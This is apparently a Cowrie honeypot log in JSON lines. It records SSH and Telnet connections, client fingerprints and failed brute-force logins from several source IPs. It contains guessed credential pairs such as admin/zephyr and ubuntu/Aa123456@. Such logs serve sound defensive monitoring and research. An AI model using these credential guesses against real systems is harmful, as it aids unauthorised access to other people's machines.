{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:16.843413Z","src_ip":"14.225.217.138","session":"480dc382bf18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.242.136","src_port":47510,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a104c36ca0b","protocol":"telnet","message":"New connection: 207.154.242.136:47510 (159.203.135.109:23) [session: 1a104c36ca0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:16.973210Z"}
{"eventid":"cowrie.login.failed","username":"amir","password":"Aa123456","message":"login attempt [amir/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:17.957741Z","src_ip":"14.225.217.138","session":"480dc382bf18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:19.231456Z","src_ip":"14.225.217.138","session":"480dc382bf18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.85.124.240","src_port":44596,"dst_ip":"10.17.0.5","dst_port":23,"session":"547862cb1841","protocol":"telnet","message":"New connection: 103.85.124.240:44596 (10.17.0.5:23) [session: 547862cb1841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:19.344319Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.242.136","src_port":47518,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a710a23097d","protocol":"telnet","message":"New connection: 207.154.242.136:47518 (159.203.135.109:23) [session: 8a710a23097d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:23.031695Z"}
{"eventid":"cowrie.session.closed","duration":32.89096522331238,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:24.356070Z","src_ip":"104.245.105.2","session":"4b580bf9917c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.930175065994263,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:32.274392Z","src_ip":"103.85.124.240","session":"547862cb1841","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":58186,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bba62cb32c3","protocol":"ssh","message":"New connection: 186.113.245.157:58186 (159.203.135.109:22) [session: 9bba62cb32c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:36.263868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:36.268323Z","src_ip":"186.113.245.157","session":"9bba62cb32c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:36.359151Z","src_ip":"186.113.245.157","session":"9bba62cb32c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smbuser","password":"smbuser","message":"login attempt [smbuser/smbuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:36.752908Z","src_ip":"186.113.245.157","session":"9bba62cb32c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:37.844866Z","src_ip":"186.113.245.157","session":"9bba62cb32c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.190","src_port":63938,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e09ed9d5047","protocol":"ssh","message":"New connection: 2.57.122.190:63938 (159.203.135.109:22) [session: 1e09ed9d5047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:43.997743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:44.002292Z","src_ip":"2.57.122.190","session":"1e09ed9d5047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:44.104752Z","src_ip":"2.57.122.190","session":"1e09ed9d5047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:44.534432Z","src_ip":"2.57.122.190","session":"1e09ed9d5047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.16565299034119,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:54.138752Z","src_ip":"207.154.242.136","session":"1a104c36ca0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.70626616477966,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:03.737871Z","src_ip":"207.154.242.136","session":"8a710a23097d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"2216b877b7ad","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: 2216b877b7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:15.713856Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:15.829077Z","src_ip":"77.90.185.16","session":"2216b877b7ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":54256,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dc18f16e626","protocol":"ssh","message":"New connection: 14.225.217.138:54256 (159.203.135.109:22) [session: 0dc18f16e626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:15.951118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:15.957950Z","src_ip":"14.225.217.138","session":"0dc18f16e626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:16.219580Z","src_ip":"14.225.217.138","session":"0dc18f16e626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami1234","message":"login attempt [bitnami/bitnami1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:17.294576Z","src_ip":"14.225.217.138","session":"0dc18f16e626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:18.559144Z","src_ip":"14.225.217.138","session":"0dc18f16e626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54570,"dst_ip":"10.17.0.5","dst_port":23,"session":"116c5af226b5","protocol":"telnet","message":"New connection: 104.245.105.2:54570 (10.17.0.5:23) [session: 116c5af226b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:18.674221Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":47186,"dst_ip":"159.203.135.109","dst_port":22,"session":"0289ae9cb02f","protocol":"ssh","message":"New connection: 186.113.245.157:47186 (159.203.135.109:22) [session: 0289ae9cb02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:34.691478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:34.696889Z","src_ip":"186.113.245.157","session":"0289ae9cb02f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:34.787230Z","src_ip":"186.113.245.157","session":"0289ae9cb02f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zephyr","message":"login attempt [admin/zephyr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:35.174734Z","src_ip":"186.113.245.157","session":"0289ae9cb02f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:36.268653Z","src_ip":"186.113.245.157","session":"0289ae9cb02f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.38027596473694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:50.054271Z","src_ip":"104.245.105.2","session":"116c5af226b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42512,"dst_ip":"10.17.0.5","dst_port":23,"session":"5811213ad26a","protocol":"telnet","message":"New connection: 104.245.105.2:42512 (10.17.0.5:23) [session: 5811213ad26a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:03:50.388668Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":33318,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c144b0e5b1f","protocol":"ssh","message":"New connection: 14.225.217.138:33318 (159.203.135.109:22) [session: 1c144b0e5b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:04:17.435480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:04:17.440836Z","src_ip":"14.225.217.138","session":"1c144b0e5b1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:04:17.715832Z","src_ip":"14.225.217.138","session":"1c144b0e5b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456@","message":"login attempt [ubuntu/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:04:18.832260Z","src_ip":"14.225.217.138","session":"1c144b0e5b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:04:20.107097Z","src_ip":"14.225.217.138","session":"1c144b0e5b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.259554862976074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:04:21.648122Z","src_ip":"104.245.105.2","session":"5811213ad26a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":36188,"dst_ip":"159.203.135.109","dst_port":22,"session":"b595d6199d01","protocol":"ssh","message":"New connection: 186.113.245.157:36188 (159.203.135.109:22) [session: b595d6199d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:04:35.266597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:04:35.270948Z","src_ip":"186.113.245.157","session":"b595d6199d01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:04:35.364922Z","src_ip":"186.113.245.157","session":"b595d6199d01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"dev12345678","message":"login attempt [ubuntu/dev12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:04:35.766731Z","src_ip":"186.113.245.157","session":"b595d6199d01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:04:36.864986Z","src_ip":"186.113.245.157","session":"b595d6199d01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40566,"dst_ip":"10.17.0.5","dst_port":23,"session":"2229c3f5b867","protocol":"telnet","message":"New connection: 104.245.105.2:40566 (10.17.0.5:23) [session: 2229c3f5b867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:05:12.020796Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":36582,"dst_ip":"159.203.135.109","dst_port":22,"session":"66a414984c89","protocol":"ssh","message":"New connection: 14.225.217.138:36582 (159.203.135.109:22) [session: 66a414984c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:05:17.933291Z"}
